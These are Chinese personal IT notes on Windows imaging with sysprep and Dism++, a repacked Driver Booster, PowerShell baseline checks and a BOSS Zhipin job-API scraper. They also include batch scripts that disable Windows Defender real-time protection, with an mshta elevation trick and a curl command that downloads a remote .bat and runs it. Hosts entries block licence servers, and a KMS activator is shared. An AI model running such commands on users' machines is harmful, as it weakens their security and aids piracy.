FILE: AQUICK/DTRASH/Dism++.md
================================================
# Dism++封装系统(适用企业标装环境)
### 操作与使用
使用系统自带的sysprep工具的oobe选项,之后进PE,打开Dism++,选择C盘里的系统,点击“文件”,另存为映像wim文件即可。这里需要说明,并不是wim文件的镜像sid就会变,而是勾选了oobe部署“新体验”才会重置sid。
进行封装前,保险起见还是得看看SID可重置的次数。win7默认是3次,win10是1001次。
```
slmgr /dlv
```
以管理员权限运行命令行
```bat
c:/windows/system32/sysprep/sysprep /oobe /generalize /reboot
```

这条命令是等价于[傲梅备份-使用Sysprep封装Win10、11的详细教程!](https://www.abackup.com/easybackup-tutorials/sysprep-encapsulates-windows-10-666.html)提到的如下配置方式,"进入系统全新体验(OOBE),勾选通用"。唯一的区别就是reboot和shutdown了。

进入PE选择系统盘,右击“文件”,选择“另存为镜像”

正常保存就好了。
从[百度百科-卷影拷贝服务](https://baike.baidu.com/item/卷影拷贝服务/7295968?fr=aladdin)中的描述,可粗略的理解为相当于是你扔进回收站删除的东西、不同时间点有遗漏的,也还能找得回来。[从官方遗存的文档对“可启动”的说明来看](https://wenku.baidu.com/view/b40cf1219ec3d5bbfd0a74f5.html),PE也是个小小系统壳,这选项是留个做PE的人用的。
<img src="https://s2.xptou.com/2023/03/15/6410a0b4678e4.jpg" />
桌面软件及IE等相关设置都如同ghost镜像都保存了,并且重装三次,每次的SID都不一样。

### 发现与分享
单独格盘装系统不影响重置次数,已封装镜像再进行一次sysprep oobe才会影响。就傲梅所提到的“[在单个系统镜像上,您可以**运行8次**Sysprep。在运行这个工具8次之后,您需要重新创建您的系统镜像](https://www.abackup.com/easybackup-tutorials/sysprep-encapsulates-windows-10-666.html#toc.0.052977313769533296)”,可并没有说明具体系统,至少可以确定的是,win7、win10的默认重置数可不是这样。
简单说[cnblogs-Windows:sysprep.exe工具:审核模式 VS OOBE模式(工厂模式 VS 用户模式)](https://www.cnblogs.com/jinzhenshui/p/15138131.html)提到的几处关键点:勾选通用生成SID、OOBE全新体验为用户的个性化设置、系统审核模式基本上和域Windows server服务器装机一个性质,Administrator账户、进入系统前的预先安装,比如驱动安装等。
链接: https://pan.baidu.com/s/1vd_nBPOIU1wp65bkd2GRWw 提取码: 8fu2
--来自百度网盘超级会员v3的分享
| ventoy-1.0.89 | 其他 |
| ---------------------------------- | --------------------------------------------- |
| Win7 usb3.0驱动纯净镜像(FAE自用) | 驱动注入与强制关闭win10更新(联想知识库工具) |
| Win10 1909 | dism++ PDF文档 |
| WeiPE_2.2+2.1+1.2.iso | HEU_KMS_Activator_v26.0.0.exe.zip |
<!--  -->
参考:
* [csdn-pe查看原系统IP配置](https://blog.csdn.net/qq_36701078/article/details/116212330)
* [cnblogs-WIN2008R2/WIN2012R2等重新生成SID(服务器安全标识的ID)](https://www.cnblogs.com/pipci/p/15128926.html)
* [cnblogs-UUID、GUID、SID、SUSID](https://www.cnblogs.com/Chary/p/9771938.html)
* [spiceworks-change-sid-on-windows-10](https://community.spiceworks.com/topic/2319623-change-sid-on-windows-10)
* [ 华为云-Windows操作系统制作私有镜像为什么要执行Sysprep操作?](https://support.huaweicloud.com/ims_faq/ims_faq_0024.html)
* [百度百科-卷影拷贝服务](https://baike.baidu.com/item/卷影拷贝服务/7295968?fr=aladdin)
* [百度文库-Dism++帮助文档](https://wenku.baidu.com/view/b40cf1219ec3d5bbfd0a74f5.html)
* [jrjxdiy-封装windows镜像时sysprep重置次数超过限制的解决办法](https://www.jrjxdiy.com/windows/windows-sysprep-tries-limit.html)
* [傲梅备份-使用Sysprep封装Win10、11的详细教程!](https://www.abackup.com/easybackup-tutorials/sysprep-encapsulates-windows-10-666.html)
* [cnblogs-Windows:sysprep.exe工具:审核模式 VS OOBE模式(工厂模式 VS 用户模式)](https://www.cnblogs.com/jinzhenshui/p/15138131.html)
================================================
FILE: AQUICK/DTRASH/DriverBooster.md
================================================
[Windows] 驱动管理软件-Driver Booster Pro V10.3.0.124 (2022.3.10当前最新)
Driver Booster这款软件,据多数网友反馈很不错。软件搬运至lrepacks,火绒正常。
> Driver Booster(驱动加速器)是IObit公司推出的一款针对Windows操作系统的电脑的驱动程序更新工具。更新驱动可以提升电脑硬件性能,减少系统崩溃降低硬件冲突。该驱动加速器软件可以通过智能的检测引擎有效识别电脑上过期的驱动程式(如,显卡驱动,声卡驱动,网卡驱动,打印机驱动等),并将结果呈现出来供查看。您可以选择要更新的驱动,然后点击更新按钮,程序就会自动下载安装最新驱动。 —— Driver Booster 百度百科
注意:静默安装默认没有快捷方式,需常规便携安装自行设置;俄语文本的安装步骤已添加用百度翻译的中文。
配置好DNS后,下载速度起飞。
效果图1

效果图2

**软件下载:**
链接: https://pan.baidu.com/s/1U1Gk89SK2rtX8jjRM79C5w 提取码: xtdk --来自百度网盘超级会员v3的分享
**下载驱动网速拉不动,三种解法**:
1. 走特定IP:[ucbug-IObit Driver Booster无法更新驱动的解决办法](https://www.ucbug.com/jiaocheng/132252.html) 所提到过的“菜单-设置-网络-自定义代理设置-主机:填入 140.227.10.189 端口:3128 最后点确定完成”(文章时间2021.7.22)。
2. 改hosts:卡1%方案( [比驱动精灵好用的IObit Driver Booster Pro v7.2.0.601 Portable【绿色免安装版】出处: 吾爱破解论坛](https://www.52pojie.cn/thread-1097107-1-1.html))
```cmd
echo "
127.0.0.1 asc55.iobit.com
127.0.0.1 is360.iobit.com
127.0.0.1 asc.iobit.com
127.0.0.1 pf.iobit.com" >> C:\Windows\System32\drivers\etc\hosts
```
3. 修改DNS:1.0.0.1、1.1.1.1([Driver booster无法更新驱动 (出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-1217009-1-1.html))
我个人是用第三种办法,修改DNS,效果图如此前上述所示。复制如下这段代码保存为 `.bat` 文件即可一键设置DNS,或者管理员权限的CMD窗口单条命令回车。
```cmd
netsh interface ip set dns "以太网" static 1.0.0.1 primary
netsh interface ip add dns "以太网" 1.1.1.1
```
参考资料
* [driver booster无法更新 (出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-1539190-1-1.html)
* [Driver booster无法更新驱动 (出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-1217009-1-1.html)
* [比驱动精灵好用的IObit Driver Booster Pro v7.2.0.601 Portable【绿色免安装版】(出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-1097107-1-1.html)
* [ucbug-IObit Driver Booster无法更新驱动的解决办法](https://www.ucbug.com/jiaocheng/132252.html)
* [51cto-用netsh查看和设置IP地址、DNS地址、防火墙](https://blog.51cto.com/guochunyang/5851385)
================================================
FILE: AQUICK/DTRASH/Windowsjxjbcg.md
================================================
## Windows基线脚本
### 内存条
```powershell
Get-WmiObject -Class Win32_PhysicalMemory | Select-Object -Property BankLabel, Capacity, DeviceLocator, PartNumber, SerialNumber, Speed
```
在大多数情况下,DDR4 内存的时钟速度(即频率)会更高,通常在 2133 MHz 至 4800 MHz 之间,而 DDR3 的时钟速度范围为 800 MHz 至 2133 MHz,因此也可以通过查看内存的时钟速度来确定其类型。
### 验证驱动安装
### 初期探寻
第一种通过hash算法数值验证,`(Get-FileHash $driverPath -Algorithm SHA256).Hash`但很粗略。第二种[csdn - 2019-8-30-PowerShell-通过-WMI-获取系统安装的驱动](https://blog.csdn.net/lindexi_gd/article/details/103184934) 检测status的值是否OK。
```powershell
# 查看所有
Get-WmiObject Win32_SystemDriver | Format-List Caption,Status
# 筛选出非OK的
Get-WmiObject Win32_SystemDriver | Where-Object { $_.Status -ne "OK" } | Format-List Caption,Status
```
### 中后期
PnpDevice是Windows操作系统中表示PnP设备的一个对象,它包含了有关设备的大量信息,比如设备的硬件ID、驱动程序文件名、驱动程序状态等等。
判断驱动是否正常可以通过判断PnpDevice对象的状态信息来实现。例如,如果PnpDevice对象的DriverName属性值为NULL,或者设备状态为Error,则表明该设备的驱动程序可能没有正确安装或者配置错误。
此外,PnpDevice对象还包含许多其他信息,比如设备的资源分配情况、设备节点名称、设备类型等等,这些信息也可以用于判断驱动是否正常。例如,如果某个设备节点下面没有任何子节点,则说明该设备的驱动程序可能存在异常。因此,使用PnpDevice对象来判断驱动是否正常是一种有效的方法。
### 睡眠模式
绕弯:休眠与睡眠的区别,[cnblogs - 电脑睡眠(sleep)和休眠(Hibernate)的区别,以及休眠功能的设置](https://www.cnblogs.com/fatherofbeauty/p/16351107.html)。
```powershell
# 休眠功能是否开启,最后一次启动时间
Get-CimInstance win32_operatingsystem |
Select-Object @{label="HibernateEnabled";Expression={$_.HibernateEnabled}},
@{label="LastBootUpTime";Expression={$_.LastBootUpTime}}| Out-Host
```
正轨:`Get-CimInstance -namespace "root\cimv2\power" -ClassName Win32_PowerPlan`只能看基础电源“平衡”、“高性能”策略是否开启,而不能进一步细化粒度。
中途了解[csdn - WMI的讲解(是什么,做什么,为什么)](https://blog.csdn.net/Ping_Pig/article/details/119446154)
### 其他
**选项**
虚拟键盘接收用户按键,code对应键盘数值参考:https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes
Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force
### 系统时间
**通过 6005 、6006 来知晓系统唤醒频次并不精确**
```
2023/5/31 10:39:54 6005 事件日志服务已启动。
2023/5/31 10:39:45 6006 事件日志服务已停止。
2023/5/31 10:36:52 6005 事件日志服务已启动。
2023/5/31 10:36:39 6006 事件日志服务已停止。
2023/5/31 8:51:20 6005 事件日志服务已启动。
2023/5/31 8:51:12 6006 事件日志服务已停止。
2023/5/31 7:26:26 6005 事件日志服务已启动。
```
自己在测试机上一直做着测试,该时间段并未唤醒或重启过系统,因此通过事件ID:6005、6006来判断系统重启或唤醒频次并不准。powershell统计事件6005和6006,以及557似乎并不能精确获取到开关机时间。
这表明系统时间是使用 UTC (世界协调时间) 格式记录的,而 `TimeCreated` 属性则是将 UTC 时间转换为本地时间。UTC 时间与本地时间之间的差异取决于系统所在地区的时区设置。
在您提供的示例中,系统启动时的 UTC 时间是 2023 年 6 月 5 日早上 2:33:57.378748400 UTC。这个时间戳代表了从 1970 年 1 月 1 日午夜 UTC 开始的秒数或毫秒数。Windows 会将其转换为本地时间,即 2023 年 6 月 5 日上午 10:33:58(假设您所在的时区为 UTC+8)。
因此,`TimeCreated` 属性显示的时间是系统启动时的本地时间。
**regsvr32**
因此,regsvr32 和 sfc /scannow 命令是用于不同的目的。前者用于注册 DLL 文件,后者用于检查和修复受保护的 Windows 系统文件。虽然它们都可以解决某些问题,但是它们并不相同,而且执行起来也不同。
**DISM**
`DISM /Online /Cleanup-Image /RestoreHealth` 命令不会导致任何文件丢失,该命令主要旨在检查和修复 Windows 系统文件的完整性,并从 Windows 更新服务器下载缺失或损坏的文件。它会在 Windows 映像文件中进行扫描和修复操作,但不会影响您现有的个人文件或程序。
**系统映像**
系统映像(System Image)和系统镜像(System Clone)是两个不同的概念。
系统映像是指捕获完整的操作系统配置和状态,包括操作系统、外部程序、配置文件、用户数据和设置等。它实际上是一个完整的备份,可以用来还原到之前的系统状态。系统映像通常包含所有系统驱动程序和 OS 补丁,以便在还原后无需重新安装它们。
与此不同,系统镜像是指将系统驱动器完全复制到另一个驱动器中,以便在需要时可以立即启动该系统。简单来说,系统克隆是将一个完全相同的副本创建到另一个位置或目标磁盘中。
系统映像通常用于备份和还原整个系统的目的,而系统镜像则用于在多台计算机或在更换硬盘后部署新设备的目的。另外,创建系统映像通常需要使用系统备份和还原工具,如 Windows Backup and Restore,而创建系统镜像通常需要使用磁盘镜像软件,如 Acronis True Image 或 Norton Ghost。
总之,系统映像指的是捕获整个操作系统、配置文件和用户数据的备份,而系统镜像指的是将整个系统驱动器复制到另一个驱动器,以便进行快速部署。
### 选特定的事件 ID
* [舆情采集系统 - WINDOWS日志事件ID速查表](https://www.axtx.net/archives/1043.html)
* [learn.microsoft - 4624 (S) :帐户已成功登录](https://learn.microsoft.com/zh-cn/windows/security/threat-protection/auditing/event-4624)
* [csdn - Windows事件ID大全](https://blog.csdn.net/bcbobo21cn/article/details/129610017)
* [Windows server- 附录 L:事件监视器](https://learn.microsoft.com/zh-cn/windows-server/identity/ad-ds/plan/appendix-l--events-to-monitor)
* [奇安信攻防社区 - Windows日志总结](https://forum.butian.net/share/355)
* [learn.microsoft - 事件識別碼 41 的進階疑難排解:「系統已重新開機,但未先完全關閉」](https://learn.microsoft.com/zh-tw/troubleshoot/windows-client/performance/event-id-41-restart)
```
Get-WinEvent -LogName System | Where-Object {$_.Id -eq 42}
```
可以通过以下PowerShell命令查看最近七天的异常开关机事件:
```
Get-EventLog System -After (Get-Date).AddDays(-7) | Where-Object {$_.EventID -eq '1074' -or $_.EventID -eq '6008'} | Format-Table TimeGenerated, EventID, Message -AutoSize
```
55 指定的网络资源或设备不再可用、1393*磁盘*结构*损坏*且无法读取。
events level查询:https://learn.microsoft.com/zh-cn/powershell/scripting/samples/creating-get-winevent-queries-with-filterhashtable?view=powershell-7.3
### 日志专题
Windows 的系统日志是用于记录操作系统级别事件和错误的一种日志类型。它包括了许多不同的事件提供程序,每个事件提供程序都有唯一的 "ProviderName" 标识符。以下是 Windows 系统日志中 ProviderName 常见的一些示例:
- Microsoft-Windows-Kernel-Power:提供了与系统电源管理相关的事件,例如系统挂起、恢复、关机、重启等。
- Microsoft-Windows-Kernel-General:提供了与操作系统内核相关的事件,例如启动或关闭操作系统、内核初始化、驱动程序加载等。
- Microsoft-Windows-Wininit:提供了与系统引导和初始化相关的事件,例如启动初始化进程、检查文件系统、加载系统驱动程序等。
- Microsoft-Windows-Security-Auditing:提供了与安全审计和审核相关的事件,例如用户登陆、权限更改、文件和对象访问等。
- Microsoft-Windows-DistributedCOM:提供了与分布式应用程序相关的事件,例如分布式COM调用的失败、权限问题、RPC服务器无法使用等。
- Microsoft-Windows-DNS-Client:服务负责将域名解析为相应的 IP 地址,并将其缓存以提高性能。
### 事件ID与LogName
事件 ID 1001 可能对应于不同的 "LogName"。它通常用于表示 “Windows Error Reporting Service”(WER)已将信息记录到 Windows 系统事件日志中。
当某个应用程序或进程在 Windows 操作系统中崩溃时,WER 将自动记录相关的错误信息,例如异常类型、错误代码、应用程序名称等。这些信息通常会被记录到不同的 Windows 事件日志中,包括 Application、System 和 Security 日志。因此,您可能会在这些日志中找到与事件 ID 1001 相关的条目。
只检查单个日志,有些事件可能会跨越多个日志和多个事件 ID,可能会错过一些重要的信息。因此,请根据具体情况进行分析,以了解特定事件的详细信息。
根据您提供的信息,这条事件的级别是 4,即“信息”级别。虽然这条事件包含了一些关键的信息(例如密钥管理服务的地址、激活请求的 ID 等等),但从整体上看,它更多地是一条记录性质的事件,不会对系统的安全和稳定性造成影响,因此被归类为“信息”级别。
需要注意的是,事件级别并没有固定的定义,具体的划分标准可以根据实际情况而有所不同。在不同的 Windows 组件、应用程序或者操作系统版本中,同样的事件可能被赋予不同的级别。因此,在分析事件日志时,我们需要结合具体的背景和含义,来判断一个事件的级别是否适当。
信息方面大部分都是有关用户登录、特权提升、系统激活,警告很多都是时间同步方面的东西。
================================================
FILE: AQUICK/DTRASH/bossAPI.md
================================================
## bossAPI分析
## 初步观察
### 招聘条目
招聘条目API
```
https://www.zhipin.com/wapi/zpgeek/search/joblist.json?scene=1&query=IT%E6%8A%80%E6%9C%AF%E6%94%AF%E6%8C%81&city=101280600&experience=&payType=&partTime=°ree=&industry=&scale=&stage=&position=&jobType=&salary=&multiBusinessDistrict=&multiSubway=&page=1&pageSize=30
```
招聘条目web链接分析
```
https://www.zhipin.com/web/geek/job?query=IT%E6%8A%80%E6%9C%AF%E6%94%AF%E6%8C%81&city=101280600&experience=106&salary=405
```
参数分析
```
city=101280600 深圳
experience=105 3-5年
salary=405 10-20k
```
通过分析为utf-8编码
```python
from urllib.parse import unquote
encoded_str = '%E6%8A%80%E6%9C%AF%E6%94%AF%E6%8C%81'
decoded_str = unquote(encoded_str, encoding='utf-8')
print(decoded_str)
```
### 城市代码
```
https://www.zhipin.com/wapi/zpCommon/data/cityGroup.json
```
```python
code_value = city_json["zpData"]["cityGroup"][0]["cityList"][0]["code"]
```
```python
# 假设您已经将 JSON 数据加载到了 city_json 字典中
user_city = input("请输入城市:") # 获取用户输入的城市名
city_code = None # 初始化城市编码为 None
# 遍历城市列表,查找与用户输入城市名匹配的城市信息
for group in city_json["zpData"]["cityGroup"]:
for city in group["cityList"]:
if city["name"] == user_city:
city_code = city["code"]
break
if city_code is not None:
print("匹配到的城市编码:", city_code)
else:
print("未找到匹配的城市编码")
```
## cookie写法
写法一
```python
import requests
import json
import http.cookies
import urllib.request
# 将字符串的 cookie 转换成字典dict类型的。
input_cookie = input("请复制Cookie:")
cookie = http.cookies.SimpleCookie()
cookie.load(input_cookie)
cookie_dict = {}
for key, morsel in cookie.items():
cookie_dict[key] = morsel.value
# 设置请求头,并将字典类型的 cookie 转换成字符串类型的。
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': '; '.join([f'{key}={value}' for key, value in cookie_dict.items()]),
}
```
写法二
```python
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
}
cookies = {
'key1': 'value1',
'key2': 'value2',
}
response = requests.get(url, headers=headers, cookies=cookies)
```
## 整理分析
将一开始的API进行精简化
```
https://www.zhipin.com/wapi/zpgeek/search/joblist.json?query=IT%E6%8A%80%E6%9C%AF%E6%94%AF%E6%8C%81&city=101280600&experience=105&salary=405&page=1&pageSize=30
```
### boss api json拼接结构
注: 直接加载json会导致json格式错误,而放在本地读取却是正常的。
https://github.com/hoochanlon/scripts/blob/main/d-json/exam_zhipin_demo.json
具体结构树
```
[
{
"code": 0,
"message": "Success",
"zpData":{
"jobList": [
{
}
]
}
},
{
"code": 0,
"message": "Success",
"zpData":{
"jobList": [
{
}
]
}
}
]
```
循环取出
```
data_list = []
for item in zhipin_json:
if "zpData" in item and "jobList" in item["zpData"]:
data_list.extend(item["zpData"]["jobList"])
for job in data_list:
```
### 本地测试代码
```python
import os
import re
import platform
import requests
import json
import urllib.request
from openpyxl import Workbook
from datetime import datetime
class GetDataTools:
@staticmethod
def get_citycode(input_city):
response = urllib.request.urlopen('https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-json/bosszhipin_citycode.json')
city_json = json.loads(response.read().decode('utf-8'))
city_code = None
for group in city_json["zpData"]["cityGroup"]:
for city in group["cityList"]:
if city["name"] == input_city:
city_code = city["code"]
return city_code
return None
@staticmethod
def validate_cookie(input_cookie):
cookie_list = input_cookie.split("; ")
cookies_dict = {}
try:
for item in cookie_list:
key, value = item.strip().split("=", 1)
cookies_dict[key] = value
except ValueError:
return False
return True
class ZhiPin:
@staticmethod
def get_job_list():
input_keywords = input("请输入查询职位:")
input_city = input("请输入城市:")
city_code = GetDataTools.get_citycode(input_city)
while city_code is None:
print("未找到匹配的城市编码,请重新输入城市名。")
input_city = input("请输入城市:")
city_code = GetDataTools.get_citycode(input_city)
# input_num = input("请输入需要遍历的页码:")
input_cookie = input("请复制Cookie:")
# while not GetDataTools.validate_cookie(input_cookie):
# input_cookie = input("请重新复制Cookie:")
job_data_list = []
for page in range(1,3):
url = f'https://www.zhipin.com/wapi/zpgeek/search/joblist.json?query={input_keywords}&city={city_code}&experience=105&salary=405&page={page}&pageSize=30'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': input_cookie,
}
data = requests.get(url, headers=headers).json()
job_data_list.append(data)
return job_data_list
@staticmethod
def save_to_json(job_data_list):
save_json = os.path.join(
os.path.join(os.path.expanduser("~"), "Desktop"),
"boss_{}.json".format(datetime.now().strftime('%Y-%m-%d'))
)
with open(save_json, 'w', encoding='utf-8') as f:
json.dump(job_data_list, f, ensure_ascii=False, indent=4)
return save_json
class DataToExcel:
@staticmethod
def save_to_excel(workbook, zhipin_json):
with open(zhipin_json, 'r', encoding='utf-8') as f:
zhipin_json = json.load(f)
worksheet = workbook.create_sheet(title='招聘信息清单')
titles = [
'职位', '技能', '经验', '学历', '工资', '福利',
'公司', '公司类型', '人数规模', '融资状态', '地址'
]
for col, title in enumerate(titles, start=1):
worksheet.cell(row=1, column=col, value=title)
data_list = []
for item in zhipin_json:
if "zpData" in item and "jobList" in item["zpData"]:
data_list.extend(item["zpData"]["jobList"])
row = 2
column = 1
for job in data_list:
worksheet.cell(row=row, column=column, value=job['jobName'])
column += 1
worksheet.cell(row=row, column=column, value='; '.join(job['skills']))
column += 1
worksheet.cell(row=row, column=column, value=job['jobExperience'])
column += 1
worksheet.cell(row=row, column=column, value=job['jobDegree'])
column += 1
worksheet.cell(row=row, column=column, value=job['salaryDesc'])
column += 1
worksheet.cell(row=row, column=column, value='; '.join(job['welfareList']))
column += 1
worksheet.cell(row=row, column=column, value=job['brandName'])
column += 1
worksheet.cell(row=row, column=column, value=job['brandIndustry'])
column += 1
worksheet.cell(row=row, column=column, value=job['brandScaleName'])
column += 1
worksheet.cell(row=row, column=column, value=job['brandStageName'])
column += 1
worksheet.cell(row=row, column=column, value=f"{job['cityName']} {job['areaDistrict']} {job['businessDistrict']}")
column += 1
row += 1
column = 1
# 添加新的sheet并写入相关的行列数据
extra_sheet = workbook.create_sheet(title='就业反欺诈')
extra_data = [
['主题', '链接'],
['就业形势分析及预防欺诈对策', 'https://nbviewer.org/github/hoochanlon/scripts/blob/main/d-ipynb/就业形势分析及预防欺诈对策.ipynb'],
['同济大学王荣昌-给初涉社会年轻人的忠告', 'https://blog.sciencenet.cn/blog-348492-375365.html'],
['适合中文的简历模板收集', 'https://github.com/dyweb/awesome-resume-for-chinese'],
]
for row, data_row in enumerate(extra_data, start=1):
for col, value in enumerate(data_row, start=1):
extra_sheet.cell(row=row, column=col, value=value)
if __name__ == '__main__':
# job_data_list = ZhiPin.get_job_list()
# zhipin_json = ZhiPin.save_to_json(job_data_list)
workbook = Workbook()
workbook.remove(workbook.active)
DataToExcel.save_to_excel(workbook, os.path.join(
os.path.join(os.path.expanduser("~"), "Desktop"),
"boss_{}.json".format(datetime.now().strftime('%Y-%m-%d'))
))
save_xlsx = os.path.join(
os.path.join(os.path.expanduser("~"), "Desktop"),
"boss_{}.xlsx".format(datetime.now().strftime('%Y-%m-%d'))
)
workbook.save(save_xlsx)
```
================================================
FILE: AQUICK/DTRASH/choice_wdrt.md
================================================
## 关闭Windows defender实时保护方案验证
## 代码验证测试
### 禁止实时保护bat
如下指令是基于[v2ex - 如何永久关闭 Win10 的 defender 的实时保护](https://v2ex.com/t/712755)帖子 kokutou 提及到注册表,按他的思路做的batch移植。
```
@REM 如果启用此策略设置,则 Windows Defender 不会运行,不扫描计算机是否有恶意软件或其他可能不需要的软件。Enabled Value 1;Disabled Value 0。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
@REM 如果启用此策略设置,Microsoft Defender 防病毒将不会提示用户对检测到的恶意软件采取操作。
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
```
第一条指令可参考 [admx.help - 关闭 Windows Defender](https://admx.help/?Category=Windows_8.1_2012R2&Policy=Microsoft.Policies.WindowsDefender::DisableAntiSpyware&Language=zh-cn) 对“DisableAntiSpyware”参数说明。其中官方对此的部分解释:“如果启用此策略设置,则 Windows Defender 不会运行,不扫描计算机是否有恶意软件或其他可能不需要的软件。” 这么说来,Windows defender与“实时保护”形成一种你中有我,我中有你的间性关系了。
第二条指令参考 [admx.help - 关闭实时保护](https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsDefender::DisableRealtimeMonitoring&Language=zh-cn) 参考说明,整体没多大难度。不过,kokukou对此的表述:“这2个注册表对应 2 条组策略,而且似乎其实好像其实第一条就够了,和以前一样, 没啥变化,就是要先关掉篡改保护。” 很值得做一番验证实验。
上述代码以管理员权限执行后,再点击关闭“篡改防护”按钮,几秒不等左右,“实时保护”也会随着“篡改防护”进入关闭状态,并且按钮呈灰色。我们通过`Get-MpComputerStatus` 获取 Windows Defender 的状态:
“RealTimeProtectionEnabled :False”,表示实时保护以出于关闭状态,未启用。

### 再次启用实时保护bat
将此前的1,改为0值。
```
@REM 如果启用此策略设置,则 Windows Defender 不会运行,不扫描计算机是否有恶意软件或其他可能不需要的软件。Enabled Value 1;Disabled Value 0。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 0 /f
@REM 如果启用此策略设置,Microsoft Defender 防病毒将不会提示用户对检测到的恶意软件采取操作。
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 0 /f
```
我们从中可以发现当前的实时保护只能暂时性的关闭。


而使用 reg delete 则是又回到我们熟悉的当初状态
```
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /f
REG delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
pause
```


### “DisableAntiSpyware”、“DisableRealtimeMonitoring”单条逻辑独立测试对比
一、***DisableAntiSpyware***
```
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
```
第一次未关闭篡改保护,执行后效果

关闭“篡改防护”执行效果

2023.5.31 8:57 补充验证资料:

但重启后,两者别无二致。

实验结论:不管有没有关闭“篡改防护”,只针对 DisableAntiSpyware 进行策略改动,不可行。
二、***DisableRealtimeMonitoring***
```
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
```
实验结论:不管有没有关闭“篡改防护”,执行该条代码都不影响。

效果差异对比,注意“篡改防护”与“实时保护”状态。


扔入激活工具测试,发现激活工具正常运行,未被拦截或直接干掉。

## 代码测试总结
1. **DisableAntiSpyware:如果启用此策略设置,则 Windows Defender 不会运行,不扫描计算机是否有恶意软件或其他可能不需要的软件。**
2. **DisableRealtimeMonitoring:如果启用此策略设置,Microsoft Defender 防病毒将不会提示用户对检测到的恶意软件采取操作。** (我的理解是“知道,但不作为”,“睁一只眼闭眼”。)
“DisableAntiSpyware:如果启用此策略设置,则 Windows Defender 不会运行,不扫描计算机是否有恶意软件或其他可能不需要的软件。” 这句话从平时理解上来看,按理说只要关闭了杀软就行了。但这会与我们通过 `Get-MpComputerStatus` 得到的“实时保护”的结果 "RealTimeProtectionEnabled : True" 产生悖论。
所以我认定“实时保护”处于开启状态,Windows defender依旧会照常检测,通过“2023.5.31 8:57 补充验证资料”,已证实。这种关系,可类比为CSS元素子父级样式的优先级,越小级别的元素,设置样式生效优先级越高。
### 代码调优
新增选项开关,一步到位。
```
@echo off
:: 见:https://bbs.huaweicloud.com/blogs/396537
:: "C:\Program Files (x86)\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe" -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 0 /t REG_DWORD /f""
:: 自动管理员权限运行以下代码
%1 C:\Windows\SysWOW64\mshta.exe vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit & cd /d "%~dp0"
:: color 9
cls
echo 请选择操作:
echo/
echo [1] 禁用实时防护
echo [2] 启用实时防护
echo/
choice /c 12 /n /m "请输入选项(1或2):"
echo/
if errorlevel 2 (
REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f 2>nul 1>nul
echo 启用实时防护,OK!
echo/
) else (
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 1>nul
echo 禁用实时防护,已OK!
echo 在Windows defender点击关闭“篡改防护”即可关闭永久性关闭实时保护。
echo 也可在需要时,自行手动开启“篡改防护”以长期打开实时保护功能。
echo/
)
pause
```
代码调优的执行效果


在线测试
```
curl -OfsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-bat/choice_wdrt.bat&&call choice_wdrt.bat
```

## 附录:整体探索过程
### 查阅官方及第三方资料整合
推敲点:
1. [csdn - Win10如何彻底关闭实时保护(第二种才有效)](https://blog.csdn.net/azxc98765/article/details/120094030), 在这基础上转换成批处理,为往后的维护及资料查找上,是要方便很多的。
2. 基于第一点而找到的 [v2ex - 如何永久关闭 Win10 的 defender 的实时保护](https://v2ex.com/t/712755)
3. 有关于一些文章提到配置Windows defender有关的组策略不管用,我怀疑或许与这有关吧,[admx.help - 配置本地设置替换以关闭入侵防护系统](https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsDefender::RealtimeProtection_LocalSettingOverrideDisableIntrusionPreventionSystem&Language=zh-cn)
4. 自己依照admx.help提供的“实时保护”注册表数据所写的批处理,就“实时保护没效果”来说,我与大家是相差无几的处理境况。有必要在参考第三方资料的同时,做额外的差异比较。
一些绕弯的参考项:
